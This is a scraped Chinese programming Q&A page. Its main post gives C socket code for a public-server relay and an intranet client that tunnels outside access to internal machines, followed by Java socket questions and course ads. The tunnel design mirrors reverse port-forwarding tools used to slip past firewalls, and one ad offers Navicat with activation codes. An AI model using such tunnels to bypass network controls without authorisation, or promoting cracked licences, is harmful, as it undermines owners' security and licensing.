@Marek: (This is only speculation.) There is a long history of evaluation of $\Gamma$, $\Gamma'/\Gamma$, and their derivatives at special points. So the answers ($\log n$) may have come before the questions (series). – André Nicolas Jun 20 '11 at 1:51
@AndréNicolas When you say resulting polygamma functions, what do you mean? I am trying to find a relationship between n/LambertW(n)-1 and Stirling numbers of the second kind. In the derivative of the explicit formula for Stirling numbers of the second kind I get the polygamma function, according to Mathematica. How do you find the polygamma function in relation to this question about logarithms? – Mats Granvik Oct 18 '13 at 12:09
After some experimenting, I find that $$\sum _{n=0}^{\infty } \left(\frac{x^{2 n+1}}{(2 n+1)^s}-\frac{x^{2 n+2}}{(2 n+2)^s}\right) = 2^{-s} \left(x \Phi \left(x^2,s,\frac{1}{2}\right)-\text{Li}_s\left(x^2\right)\right)$$ where $\text{Li}_s\left(x^2\right)$ is the PolyLog function and $\Phi \left(x^2,s,\frac{1}{2}\right)$ is the LerchPhi function. Is this what you meant in your answer above? – Mats Granvik Oct 18 '13 at 12:16
@Marek,
For me the hint was in http://oeis.org/A097321, from which the numerators for log(3) are 1,1,-2.
Now log(2) having 1, -1
and log(3) having 1, 1, -2
suggests the pattern.
share|cite|improve this answer
The formula seem to be extendable to fractional arguments of the log. The key is to rewrite the formula for $\log(x)$ as difference of two sums but to a common limit. So we can write $$ \begin{eqnarray} \log(x) &=& \lim_{n\to \infty} \sum_{k=1}^n {1 \over k} - x\sum_{k=1}^{\lfloor n/x \rfloor} {1 \over x k} \\ &=& \lim_{n\to \infty} \sum_{k=1}^n {1 \over k} - \sum_{k=1}^{\lfloor n/x \rfloor} {1 \over k}\\ &=& \lim_{n\to \infty} \sum_{k=\lfloor n/x \rfloor+1}^n {1 \over k} \end{eqnarray} $$ It seems to be a possible improvement to take the mean of the two sums when the initial index is either $ \lfloor n/x \rfloor $ or $ \lfloor n/x \rfloor +1 $ . So the final best (but not too complicated) approximation might be $$ \begin{eqnarray} w_n &=& \lfloor n/x \rfloor\\ \log(x) &=& \lim_{n\to \infty} {1\over2w_n} + \sum_{k=w_n+1}^n {1 \over k} \end{eqnarray} $$ However, for reasonable digits of precision one needs many many terms, so this might be only of formal interest.
Moreover, maybe the formula in this notation is also known; I vaguely think I've seen series-formulae involving the floor-function in this or related ways...
[update] There is one more...
To think of fractional summation-bounds suggests to consider integration instead of sums. So I tried $$ \log(x) = \lim_{n \to \infty} \int_{n/x} ^n \frac 1t dt $$ and then even $$ \log(x) = \lim_{n \to \infty} \int_n^{nx} \frac 1t dt $$ and after that even could let n finite...
and the perfect result (even for small n) $$ \log(x) \underset{n \gt 0}{=} \int_n^{nx} \frac 1t dt $$ suggests to look into wikipedia to see, who had noticed that first... ;-) and it's nice to see the identity of the integral-definition and the simple reformulation and generalization of your surprising patterns.
share|cite|improve this answer
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
__label__pos
| 0.990725 |
How Do I
Open, edit and save files and layers in Adobe Photoshop (PSD) format
The PSD file format, created by Adobe, contains graphics created by image editing software such as Adobe Photoshop and Photoshop Elements. Pop Art Studio allows users to open, edit and save files and layers in Photoshop (PSD) format.
Step 1: Open a Photoshop file
Open a file in PSD format. The layers palette shows you the stacking order of the various layers in your document along with a thumbnail to help you identify each layer at a glance. Only a single layer can be edited at one time. The active layer will be highlighted in your layers palette.
Step 2: The Layers Palette
You can hide layers to help you focus on the layer that need to be edited or to allow you to work in multiple directions while not destroying any of your work. On the Layers palette, click on the checkbox next to the thumbnail to show or hide a layer or group.
Next to the check box is the opacity slider for the layer. 100% opaque means that there is no transparency to the layer. As you move the slider left, the layer will become more and more transparent until you get to the far left where the layer content disappears entirely.
Step 3: Scale, move and rotate layers
Each Photoshop layer becomes a 'floating image' in Pop Art Studio. The image is floating over its background and can be scaled, moved, and rotated. Move the selection to change the location of the floating image. Change the size of the floating image by dragging one of the selection's edges or corners. Grab the small green circle and pull it around to rotate the floating image into any position desired.
Step 4: Apply image effects
You can apply image effects to the floating image in the same way you do for the background layer or any other raster layer. In the example below, the colors of the image are inverted, but you can apply almost any effect to the floating image.
Step 5: Add layers
You can add raster and vector layers, text, shapes, gradients, polygons, symmetric shapes and more. In the example below, a text is added to the image.
Step 6: Save your image
Save your image in Pop Art Studio format and preserve the vector information. If you choose to save your image in the PSD format, your layers will be saved as raster data, composed of pixels. Now you can open and edit your Pop Art Studio document in Photoshop.
For comments, questions and suggestions, please send email to: [email protected].
|
__label__pos
| 0.829551 |
Over a million developers have joined DZone.
{{announcement.body}}
{{announcement.title}}
I'm thinking of using agile software development - but should I use Lean software development instead?
DZone's Guide to
I'm thinking of using agile software development - but should I use Lean software development instead?
· Agile Zone ·
Free Resource
You've been hearing a lot about agile software development, get started with the eBook: Agile Product Development from 321 Gang
This question is one I've run into a few times recently. It's not a question I can answer quickly as the question is based on a false premise about the relationship between lean and agile. So first I need to go into some history to help explain that relationship.
"Lean" fundamentally refers an approach in the manufacturing world that was originally developed by Toyota in the 1950's. At this time Japanese industry was recovering from the ravages of the second world war. This approach, often called the Toyota Production System is mostly credited to Taiichi Ohno, although he was influenced by various western thinkers - particularly Deming. The Toyota Production System became well known in the rest of the world in the 1990's when westerners started writing books to explain why the Japanese were beating the US at so many industries. The western writers called this approach Lean Manufacturing. Although Japanese industry in general has run into stickier times since then, Toyota continues to outperform most western auto companies.
Agile software development is an umbrella term for several software development methods (including Extreme Programming and Scrum) that were developed in the 1990s. These methods share a common philosophy which was described as values and principles in the Manifesto for Agile Software Development. (My essay "The New Methodology" goes into this in more depth.)
There was a connection between lean manufacturing and agile software from the beginning in that many of the developers of the various agile methods were influenced by the ideas of lean manufacturing. This connection was made more explicit by Mary and Tom Poppendieck. Mary had worked in a manufacturing plant that had adopted lean manufacturing and her husband Tom is an experienced software developer. They have written a couple of books on the application of Lean ideas in the software world. When people talk about Lean Software they are usually referring to the ideas in these books, although others have been making similar links.
Lean manufacturing and agile software methods have a very similar philosophy. Both place a lot of stress on adaptive planning and a people focused approach. As a result lean's ideas fit in very well with the agile software story. Mary and Tom have both been very active in the agile community - indeed I'd credit Mary with an important role in forming the Agile Alliance. (Like me, she was a founding board member of the Agile Alliance, but she was far more effective in it than I was.)
I've already mentioned that lean manufacturing was an influence on agilists from the beginning, and in the last few years more ideas have appeared in the agile world with a clear lean manufacturing heritage. These range from concrete techniques like Value Stream Maps, to articulations of existing agile concepts such as the Last Responsible Moment for making design decisions. The idea of thinking of analysis and design documentation as inventory came from the Poppendiecks. Several agilists I know emphasize the importance of reducing cycle time - another strongly lean-influenced idea. My colleague Richard Durnall has a nice summary of how lean knowledge can blend in with agile thinking.
A particularly strong appeal to many people about lean ideas is that they provide a way of explaining agile software development to people - particularly senior people both within IT and senior customers. This explanation ranges from a crude appeal to emulate Toyota to detailed discussions of how lean manufacturing's benefits translate to the ideas in agile software development.
So as you can see, lean and agile are deeply intertwined in the software world. You can't really talk about them being alternatives, if you are doing agile you are doing lean and vice-versa. Agile was always meant as a very broad concept, a core set of values and principles that was shared by processes that look superficially different. You don't do agile or lean you do agile and lean. The only question is how explicitly you use ideas that draw directly from lean manufacturing.
The Poppendiecks didn't introduce lean as a separate idea, nor did they introduce lean as a published process in the style of Scrum or XP. Rather they introduced lean as a set of thinking tools that could easily blend in with any agile approach. I think of lean as a strand of thinking within the agile community, like a pattern in a rich carpet.
There is a distinct lean software community, as in a mailing list calling itself lean and people who label themselves as lean thinkers. But this is no different to the fact that there are also strong XP, Scrum, and other communities. Most people in these communities consider themselves part of the broader agile movement and many people are active in more than one of these agile communities. The whole point of coining the word 'agile' comes from a recognition that we share a core set of values and principles and this common core means what we have in common is greater than our differences.
Download the free agile tools checklist from 321 Gang. This guide will help you choose the right agile tools to position your team for success.
Topics:
Published at DZone with permission of
Opinions expressed by DZone contributors are their own.
{{ parent.title || parent.header.title}}
{{ parent.tldr }}
{{ parent.urlSource.name }}
|
__label__pos
| 0.869597 |
Components of the word window
Upcoming SlideShare
Loading in...5
×
Components of the word window
on
• 8,180 views
Statistics
Views
Total Views
8,180
Views on SlideShare
8,180
Embed Views
0
Actions
Likes
0
Downloads
158
Comments
0
0 Embeds 0
No embeds
Accessibility
Categories
Upload Details
Uploaded via as Microsoft Word
Usage Rights
© All Rights Reserved
Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate
Select your reason for flagging this presentation as inappropriate.
Cancel
• Full Name Full Name Comment goes here.
Are you sure you want to
Your message goes here
Processing…
Post Comment
Edit your comment
Components of the word window Components of the word window Document Transcript
• Components of the Word WindowBesides the usual PC window components (close box, title bar, scroll bars, etc.), a Word window hasother elements, as shown in the following figure. Component Functionality or Purpose of the ComponentMenu Bar Contains File,Edit, View, Insert, Format, Tools, Table, Window and Help menusStandard Contains icons for shortcuts to menu commands.ToolbarFormatting Contains pop-up menus for style, font, and font size; iconsTool Bar for boldface, italic, and underline; alignment icons; number and bullet list icons; indention icons, the border icon, highlight, and font color icons.Ruler Ruler on which you can set tabs, paragraph alignment, and other formats.
• Insertion Point Blinking vertical bar that indicates where text you type will be inserted. Dont confuse the insertion point with the mouse I-beam. To move the insertion point, just click the mouse where you want the point moved.End-of-File Non-printing symbol that marks the end of the file. YouMarker cannot insert text after this mark.Selection Bar Invisible narrow strip along the left edge of the window. Your(Gutter) mouse pointer changes to a right-pointing arrow when it is in this area. It is used to select a line, a paragraph, or the entire document.Split Handle Double-click to split the window in two (to view different portions of the same file). Double-click to return to one windowStatus Bar Displays page number, section number, and total number of pages, pointer position on page and time of day.Task Pane Displays and groups commonly used features for convenience.Office An animated character that can provide help andAssistant suggestions. There are multiple characters to choose from, and it is possible to turn the Office Assistant off.Creating and Saving a DocumentOpening and Closing A DocumentTo open a file, select Open... from the File menu. In the dialog box, click on the filename and then onthe Open button. If your file is not in the opened folder, click on the down arrow (next to folder name)to see a directory listing. The Up One Level button icon on the right enables you to move up one level.You can then switch to the floppy disk, hard drive or Desktop where the appropriate file or folder islocated.
• For example, to open a file from a floppy disk, select Open... from the File menu. If the disks namedoes not appear on the left side of the dialog box, click on the down arrow. Select its name in the boxat the left or if it is not displayed, click the Up One Level button to see a different display of files andfolders. When you locate the desired diskette or file, click Open. (Double-clicking on the name will also open it).To close a document, click its close box in the upper right of the title bar (boxwith the large X on it) or select Close from the File menu. The keyboardshortcut is <Ctrl + W>.Saving a DocumentYour document and changes you make to a document are not saved to disk until you issue a savecommand. Saving is quick and easy. You should save often to minimize the loss of your work. Wordhas two save commands - Save and Save As. - that work similarly. Both are under the File menu.Save Save AsWhen you save a new document for the first This command always displays a dialog box wheretime, Word displays a dialog box (see figure, you can choose a document name and disk (seebelow). Select where you want to save your figure, below). Use the Save As. commanddocument and give it a name. When you save an whenever you want to save a copy of the currentexisting document that you have been editing, document under a different name or in a differentthe newly saved version is written over the older folder (or disk). The newly saved copy becomes theversion. active document.Adding and Modifying TextEntering TextTo enter text, just start typing. Word inserts the text you type at the insertion point. If you press awrong key, use the Delete key to erase the mistake. Word automatically starts a new line when you
• reach the end of the current line. This is called "word wrap". Do not press Enter at the end of a line.Press Enter only at the end of paragraphs.Type the following paragraph. Remember, dont press Enter at the end of the line.Microsoft Word is part of the Microsoft Office software. It allows you to create, edit, modify andenhance documents. Word is not a simple text processor. It is a document production system.To move the insertion point with the mouse, click the mouse in the desired location. If the locationyou want is not visible, use the scroll bars to move up or down in the document. To move theinsertion point to the top of the document, press <Ctrl + Home>. To move to the end of thedocument, press < Ctrl + End >.To insert new text, just click the mouse at the point where you want to insert the additional text andstart typing. Existing text moves to accommodate your additions.Click the mouse pointer after the word, "enhance" and type:beautifulClick the mouse pointer before the word, "not" in the second line and type:justType <Ctrl + Home> to move to the very beginning of your document and type:Your name and press Enter .Todays date and press EnterThe name of the school where you teach and press Enter, Enter.Deleting TextThe Backspace key deletes one character to the left of the insertion point. The Delete key deletes onecharacter to the right of the insertion point. You can use these keys any time. To delete more thanjust a few characters, select the text and press the Delete key. Selecting text is covered below.Undoing MistakesIf you make a terrible mistake-you accidentally delete an important paragraph, for example-use theUndo command under the Edit menu immediately (The keyboard shortcut is < Ctrl + Z >). Do notissue any other command until after you have undone your mistake.Selecting Text to Bold, Italicize, and UnderlineYou select a portion of text in order to perform some operation on it. You can then delete, replace,copy, move, or format it. The Selection Bar is located to the left of the document window. When you
• put your mouse pointer, which is a left pointing arrow in that area, the arrow swings to the right. Thefollowing table explains how to select various blocks of text.To Select this... Do this...Word Double click anywhere on the word.Line Click right-pointing arrow in the selection bar to left of line.Sentence <Ctrl + click> anywhere in sentence. Double-click the right-pointing arrow in the selection bar to the left of theParagraph paragraph, or triple-click in paragraph.A block of text of Click at one end of the block and shift-click at the other end of the block. Or click atany size one end of block and drag to the other end of the block.Entire document Press < Ctrl + A> or hold down the Ctrl key and click in the selection bar.And to... Do this...Deselect text Click anywhere outside the selection. Shift-click an additional block. For example, if you have selected a paragraph andExtend a selection you shift-click on another paragraph, it will be added to the selection.Copy and Paste TextYou can copy selected text from one place to another with the Copy and Paste commands or with theDrag and Drop procedure. You can move selected text from one place to another with the Cut andPaste commands, and with the Drag and Drop procedure. These commands and procedures aredescribed below.Cut - The Cut command extracts the selected text and puts it on the Clipboard (a temporary storagearea). The contents of the Clipboard are overwritten with each copy or cut.Copy - The Copy command puts a copy of the selected text on the Clipboard.Paste - The Paste command inserts the Clipboards contents at the insertion point. Existing textmoves to accommodate pasted text. If text is selected, it is replaced by the pasted text.Drag and Drop - This procedure does not involve the Clipboard and works best when moving text ashort distance. To move text, select the text and drag it to its new location. To copy text; hold downthe <Ctrl> key while you drag the text.Check the SpellingWord has a built-in spelling checker. You can have Word check a selected portion of yourdocument (one word, a paragraph, etc.) or the entire document. If you select text before starting thespelling checker, Word checks the selection, then asks whether it should stop or check the rest of thedocument. To check the entire document, move the insertion point to the top of the document ( Ctrl +Home) before you select the spelling checker.
• To start the spelling checker, select Spelling and Grammar from theTools menu. Word will begin to check for misspellings. If Word finds aword that is not in its dictionaries, it pauses, displays the word, and ifpossible, suggests alternatives (see figure below).You have several choices at this point described in the table below. Ifthe word is spelled correctly, you can have Word ignore it or add it to acustom dictionary. If the word is incorrect, you can have Word replace it with one of its suggestions orwith a spelling you supply in the Change To: box.If the word is spelled correctly...To ignore only this occurrence of the word, click IgnoreTo ignore all occurrences of the word, click Ignore AllTo add the word to a custom dictionary, click AddIf the word is misspelled...First, click correct spelling in Suggestions list or type the correction in theChange To: box. Then...To change only this occurrence of the word, click ChangeTo change all occurrence of the word, click Change AllAfter you make your choice, Word continues checking spelling. Remember to save your documentafter using the spelling checker in order to retain the changes.Formatting Text and ParagraphsFormatting TextYou can format text that you are about to type or text that already exists. To format new text, turn onthe formatting features you want, type the text, and then turn off the features (select them again orselect new features). To format existing text, select the text and choose the formatting features. Forexample, to create a heading that is Helvetica, bold, 18-point text, select the font and size from thepop-up menus on the Tool Bar (see below). Then, click on the B button to turn on bold.Formatting ParagraphsIn Microsoft Word , a paragraph is any amount of text followed by a paragraph symbol (¶). A one-word heading is a paragraph. A 100-word job description is a paragraph. Even a blank line terminatedby a ¶ is a paragraph.
• You can perform paragraph formatting from the Format menu. 1. Highlight the paragraph you want to format. 2. Click on Format from the Command menu. 3. Choose Paragraph. 4. Make the changes from the options that are displayed in the window. For example, to change line spacing from single to double, click on the Line spacing drop down arrow, and choose double.You can also choose icons from the Formatting Tool Bar to formatparagraphs. 1. Font and font sizes, 2. Paragraph alignment icons, and 3. Indention icons. 4. Numbered and Bulleted lists.Numbering Pages With the Header and FooterHeaders and footers typically contain titles and page numbers for a document. A header is text thatappears within the top margin on each page, whereas a footer appears in the bottom margin. You canset a different header and footer on the first page by selecting Page Setup from the File menu, clickingthe Layout tab from the open dialog box and then selecting Different First Page from the availableoptions.To create a header (or footer) in a document, select Header and Footer from the View menu. Type theheader or footer text in the header or footer window (see below). The default text is left aligned with acentered tab set at 3 " and a right tab at 6. You can format Header and Footer text using the Ribbonand Ruler similar to a paragraph in your document. Click on the Header and Footer tool bar buttons toinsert a page number, the current date, the time, and to switch between the Header and Footertemplate.PrintingSelect File, Print to print your document. Save the document before selecting the Print command toavoid losing your work. You can also click on the Print icon to print the active document.Review and SummaryTo... Do This...Open a Word document. Double-click on the icon.Open any document within Select Open... from the File menu or press < Ctrl + O > . In the dialogWord box, click on the filename and then on the Open button.Close a document Click its close box, select Close from the File menu, or press < Ctrl + W>.
• Save a document Select Save from the File menu or press < Ctrl + S > . Type a name for the document and select a disk in which to save it.Move text Select the text. Choose Cut from the Edit menu or press < Ctrl + X>.Copy text Select the text and choose Copy from the Edit menu or press <Ctrl + C>.Insert text from the clipboard Choose Paste from the Edit menu or press < Ctrl + V >Set the margins Choose Page Setup from the File menu.Change the font or size of Select the text and choose from the Font or Size boxes on the Ribbon.textCreate bold , italic or Select the text and choose the formatting features from the Ribbon.underlined textChange the alignment or Select the paragraphs and click on the alignment and spacing icons onspacing of paragraphs the Ruler.Add page numbers Choose Header and Footer from the View menu. Click on the page number icon.Start the spelling checker Move the insertion point to the top of the document or press < Ctrl + Home>. Select Spelling and Grammar from the Tools menu.Preview the document Choose Print Preview from the File menu.Print the document Choose Print from the File menu or press < Ctrl + P >.GraphicsMicrosoft Word contains a full set of graphic tools. You can: Create graphics from scratch Import graphics from other programs Place graphics within text Manipulate graphics on a pageWord comes with some pre-designed graphics that are normally installed in the MSOFFICECLIPARTfolder. These graphics can be resized and placed within text.Inserting a Graphic in your DocumentTo insert a graphic in a document position the insertpoint where you want to place the graphic in thetext. Select Picture from the insert menu. Click onClip art, and double-click the graphic you want toinsert.
• 1. Choose Insert, Picture, Clip Art or click the Insert Clip Art button on the Drawing toolbar. 2. Word opens the Clip Art Task Pane. 3. Search for a specific clip image by entering what you are looking for within the Search field in the Task Pane. 4. Alternately, click on the Clip Organizer button toward the bottom of the Task Pane to open up the Clip Art Organizer. 5. Select a clip and when Word shows a control palette, select the first option, Insert Clip. The clip is inserted where your insertion point is positioned. 6. You can also drag the clip art into your document.NOTE: You cannot view graphics in a document when you are in Normal Viewing mode. Switch to PageLayout to see your graphic.Wrapping Text around a GraphicBy default text does not wrap around a graphic. To get text to wrap around a graphic, do thefollowing: 1. Right click on the graphic to get the short cut menu. 2. Choose Format Picture from the list displayed. 3. Select the Layout tab. 4. Choose the style of wrap that you like and click OK.Resizing a Picture Select the inserted picture by clicking once on it. Click the Cropping tool on the Picture toolbar. Notice that the mouse cursor has changed. Drag one of the corners with the pointer to reduce its size and eliminate it.Lines and ShapesUse the Drawing toolbar to create lines, shapes, text boxes, AutoShapes, WordArt, or Clip Art.Exercise 1 - Drawing a Line or Arrow 1. Open a new Word document. 2. Save it as Practice. 3. Click the Drawing tool in the Standard toolbar or right click in any toolbar on your screen to display a list of available toolbars.
• 4. Select the Drawing toolbar. 5. Click a line or arrow on the Drawing toolbar. 6. When the cross hair appears, point to a spot in your document where you want the line or shape and draw a shape.Exercise 2 - Drawing an AutoShape 1. Click AutoShapes on the Drawing toolbar. 2. Select Stars and Banners from the drop down list of categories. 3. Select the shape you want. 4. Click in your document and drag the cross hair that appears to draw the shape.Exercise 3 - Adding a Text Box 1. Click the Text Box icon on the Drawing toolbar 2. When the cross hair appears, point to a spot in your document where you want the text box and drag. 3. The box appears with an insertion point in it. 4. Type "Microsoft Word Graphics" within the box.Exercise 4 - Using WordArt 1. To display the Word Art Gallery , choose Insert, Picture, WordArt or click the WordArt icon on the Drawing toolbar. 2. Double-Click a WordArt style. 3. Word opens the Edit WordArt dialog box. 4. Type the text you want and it will replace the sample text. 5. Choose a font, font size, and style. 6. Click OK to close the WordArt Gallery and see your text.
• TablesIn this section you will learn how to: Create a table using either the menu or the table icon. Add, Delete, and Insert columns and rows. Select and change the size of columns and rows. Add Borders and Shading.Creating Tables Using the MenuA table is a grid of rows and columns on the page, like a spreadsheet. The area where a row andcolumn intersect is called a cell. The number and width of columns can vary from row to row. Cells areseparated by gridlines, which are non-printing separators. To display the table gridlines, selectGridlines from the Table menu.Each cell can contain a paragraph, multiple paragraphs of text, orgraphics. Microsoft Word wraps text within a cell in the same waythat text is wrapped at the end of a line of normal text. Text withincells can be formatted, copied, cut, and pasted. You can add text,edit text, change its size, add borders, or add and delete columnsand rows.
• To create a table, select the Insert Table command from the Table menu. The Table Dialog boxappears:Enter the number of columns and rows you want to include in the table and click on the OK button.A table with the number of columns and rows that you specified is inserted in your document and thecursor is positioned in the first cell of the table.You can move from cell to cell using the <Tab> key, to move forward to the next cell and the <ShiftTab> keys to move back to the previous cell.Creating a Table Using the Table Button in the Standard ToolbarThe Table button on the Toolbar provides another way to create a table. To use the Table button,place the mouse on the Table button and press the mouse button. The Table button selection box popsdown. Drag the mouse down to select the number of rows you want and to the right to select thenumber of columns. When you have selected the correct number of rows and columns, release themouse button. A table with the number of cells you have specified is inserted in your document. Open a new document by clicking on the New Document button on the Toolbar. Press the <Enter> key twice to add some blank lines to your document. Use either method described above to create a new table. Make the table contain 3 columns and 5 rows. Type the text displayed in the example below. Use the <Tab> key to move to the next cell and <Shift + Tab> to move back to the previous cell. State Capital Per Capita Income Texas Austin 27,000.00 Pennsylvania Harrisburg 22,500.00 Vermont Montpelier 21,000.00 New York Albany 31,000.00Selecting TablesCells in a table can be selected using the click-and-drag method or one of the following techniques:To select a Click in the lower left corner of the cell. (The mouse pointercell: shape becomes a right pointing arrow.)To select a Single Click in the selection bar to the left of the row.row:To select a Place the mouse on the top border of the column and click.
• column: (The mouse pointer becomes a black down pointing arrow.)To select the On a Macintosh hold down the Option button and double-clickentire table: in the table. On a Windows machine Press the <Alt> key and the number 5 key on the numeric keypad . (The NumLock must be turned off.)To select Drag the mouse across the desired cell selection.more thanone cell:Inserting Columns and RowsTo insert a row or column within a table, select the row or column after the position for the new row orcolumn. Select Insert Row or Insert Column from the Table menu.To insert a column to the right of the table, position the insertion point just outside the last column.Choose select column from the table menu, and then click the insert columns button on the standardtoolbar. 1. Select the first row in the "States" table. 2. Select Insert Rows from the Table menu. 3. Select the last row in the "States" table. 4. Select Insert Rows from the Table menu. 5. Select the first column in the "States" table. 6. Select Insert Columns from the Table menu. 7. Select the last two columns in the "States" table. 8. Select Insert Columns from the Table menu.Changing Column WidthYou can adjust the width of a column, or you can adjust the width of all the cells in a column. Tochange the column width, click on the column width button. Drag the button to the left or rightaccording to your needs. To change the width of all the columns select the entire table and drag thecolumn width button you wish to change.
• 1. Click and drag the first column width button to the 1.5-inch mark. 2. Click on the Next Column width button to the 3-inch mark.The mouse can also be used to change column widths. To select the column that you want to change,place the mouse pointer on the right border of the column. As you move the mouse pointer on top ofthe column border the pointer becomes a two-headed arrow (see example displayed in the leftmargin). When the mouse pointer is displayed as the two-headed arrow, press the mouse button anddrag to reposition the column width. As you drag the mouse, an outline of the new border shows theborder position. When you have resized the column to a satisfactory width, release the mouse button.The entire column is resized accordingly. 1. Select the first column of the second table in your document. 2. Place the mouse in the right hand border of the column. 3. When you see the two-headed arrow appear, press and drag the mouse to increase the column width. 4. Select the second column and resize the column width using the mouse.Deleting Columns and RowsTo delete a column or row, select the column or row you want to delete then select Delete column orrow from the Table menu. Notice that if you select a column, the command is Delete Columns, if youselect a row, the command is Delete Rows. 1. Select the first column in the "States" table. 2. Select the Delete Columns command from the Table menu. 3. Select the second and third columns in the table. 4. Select the Delete Columns command from the Table menu. 5. Select the first row in the last table in your document. 6. Select the Delete Rows command from the Table menu. 7. Select the last row in your table. 8. Select the Delete Row command from the Table menu. 9. Click on the Undo button to restore the deleted rows.Adding BordersThe table gridlines surrounding each cell are non-printing lines. To add printing lines or borders to atable, select the table followed by the Borders and Shading command from the Format menu. The CellBorders and Shading dialog box appears. You can select a variety of border styles using the optionslisted in the Borders dialog box. Instructions for using the Cell Border dialog box are listed in the tablebelow.None No borders.Box - the outer boundary of Select Box from the Presets selection box.the table is outlined with aborder.
• Shadow -the table is Select Grid from the Presets options.outlined with a shadow.3-DCustom - any boundary or In the Border selection box, select theset of boundaries can a boundary you want to add a border to, thenborder using any Line style. click on the Line style that you want to use in the Line selection box. 1. Select the entire "States" table. 2. Select Borders and Shading from the Format menu. 3. Select Grid from the Presets selection box and click on the OK button. 4. Select the next table in your document. 5. Select Borders and Shading from the Format menu. 6. Select Box from the Presets selection box and click on the OK button. 7. Select the next table in your document. 8. Create a custom border using the Presets and Line selection boxes in the Borders and Shading dialog box.Review and SummaryTo do this... Do this...Select a cell: Click in the lower left corner of the cell. (The mouse pointer shape becomes a right pointing arrow.)Select a row: Single Click in the selection bar to the left of the row.Select a column: Place the mouse on the top border of the column and click. (The mouse pointer becomes a black down pointing arrow.)Select the entire Click on the Table Menu, choose Select and then Table.table:Select more than
• one cell:
|
__label__pos
| 0.896712 |
java socket 端口转发遇到的问题
下面的程序运行之后,没有办法通过8081端口连上数据库服务器,这是为什么呢
package mis.client;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.InterruptedIOException;
import java.io.OutputStream;
import java.net.ServerSocket;
import java.net.Socket;
import lcc.SysLog;
public class Client {
public static void main(String[] args) throws Exception {
Socket toDb = new Socket("10.11.112.48", 1521);
ServerSocket serverServer = new ServerSocket(8081);
Socket toServer = serverServer.accept();
InputStream toDbInStream = toDb.getInputStream();
OutputStream toDbOutStream = toDb.getOutputStream();
InputStream toServerInStream = toServer.getInputStream();
OutputStream toServerOutStream = toServer.getOutputStream();
System.out.println("客户端初始化完成");
pipe(toDbInStream,toServerInStream,toServerOutStream,toDbOutStream);
}
private static void pipe(InputStream is0, InputStream is1, OutputStream os0,OutputStream os1) {
try {
int ir;
byte bytes[] = new byte[1024];
System.out.println(0);
while (true) {
try {
if ((ir = is0.read(bytes)) > 0) {
System.out.println(1);
os0.write(bytes, 0, ir);
} else if (ir < 0) {
break;
}
} catch (InterruptedIOException e) {
System.out.println("error--1");
}
try {
if ((ir = is1.read(bytes)) > 0) {
System.out.println(2);
os1.write(bytes, 0, ir);
} else if (ir < 0) {
break;
}
} catch (InterruptedIOException e) {
System.out.println("error--2");
}
}
} catch (Exception e0) {
}
}
}
补充:我程序的意图是把目标服务器1521端口的的数据转发的本地8081端口上,然后我用plsql工具去连库,程序只负责转发数据,现在的情况是数据没有转发过来
2个回答
如果你的程序只有这些,是注定连不上的,数据库连接你可以暂时用jdbc。而且你这里只有数据库的ip和端口号,没有数据库的用户名密码以及ssid,差太多东西,肯定连不上。
socket传输需要一个发、一个收,你这个是客户端吗?服务端也得有个服务给客户端发呀
Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
java 客户端Socket端口问题
tcp问题,客户端Socket提问,getLocalPort(),连接的是本地的服务端,第一次运行是2880,第二次运行是2881,第三次运行是2882,我想了解客户端的端口是怎么回事,端口是怎么分配的?
java socket转发
请问如何实现,A访问B建立一个socket,B访问C建立一个socket,可否让A与B建立的socket直接交给C,之后让C直接和A交互,不用通过B就能实践数据交互。
java socket tcp 和网络映射问题
我用java socket 写了个客户端和服务端程序,局域网测试没有问题-客户端和服务器端能互发数据. 于是想用花生壳端口映射服务端, 然后用客户端连接发现如下问题 1.服务端能收到客户端的信息,但客户端不能收到服务端信息 ----说明网络没问题 2.我把服务端的接受代码删去让他只能发送, 把客户端的发送发送代码删去让他不能接受结果,客户端就能收到服务端的信息 ---但这又有什么用呢? ----说明网络没问题 3.我还怀疑是程序的问题,但在局域网内服务端和客户端能够互发信息 ----说明软件没问题 因此我就纳闷了---到底问题出在哪呢 ???
java socket怎么获取端口心跳包数据?
1、返回400 ``` public static synchronized String tcpPost(String clientIp,String clientPort,String msg){ String rs = ""; if(clientIp==null||"".equals(clientIp)||clientPort==null||"".equals(clientPort)){ logger.error("Ip或端口不存在..."); return null; } int clientPortInt = Integer.parseInt(clientPort); logger.info("clientIp:"+clientIp+" clientPort:"+clientPort); Socket s = null; OutputStream out = null; InputStream in = null; try { s = new Socket(clientIp, clientPortInt); s.setSendBufferSize(4096); s.setTcpNoDelay(true); s.setSoTimeout(60*1000); s.setKeepAlive(true); out = s.getOutputStream(); in = s.getInputStream(); //准备报文msg logger.info("准备发送报文:"+msg); out.write(msg.getBytes("GBK")); out.flush(); byte[] rsByte = readStream(in); if(rsByte!=null){ rs = new String(rsByte, "GBK"); } } catch (Exception e) { logger.error("tcpPost发送请求异常:"+e.getMessage()); }finally{ logger.info("tcpPost(rs):"+rs); ```
java socket通信,字节丢失问题
请教高手一个问题: 我现在在多台win7和xp的主机上进行java的socket通信,主机间的源代码是通过svn同步,肯定完全一样,现在问题是(以下测试的socket通信文件完全一样):两台xp主机间通信完全没有问题,xp往win7发送也没有问题 问题出在:当win7往xp发送数据时,就会丢字节,在xp上最多接收8755个字节(接收缓冲区足够大),这样该如何解决,有没有哪位也碰到过同样的问题?麻烦指点下...
C++ socket端口复用的问题
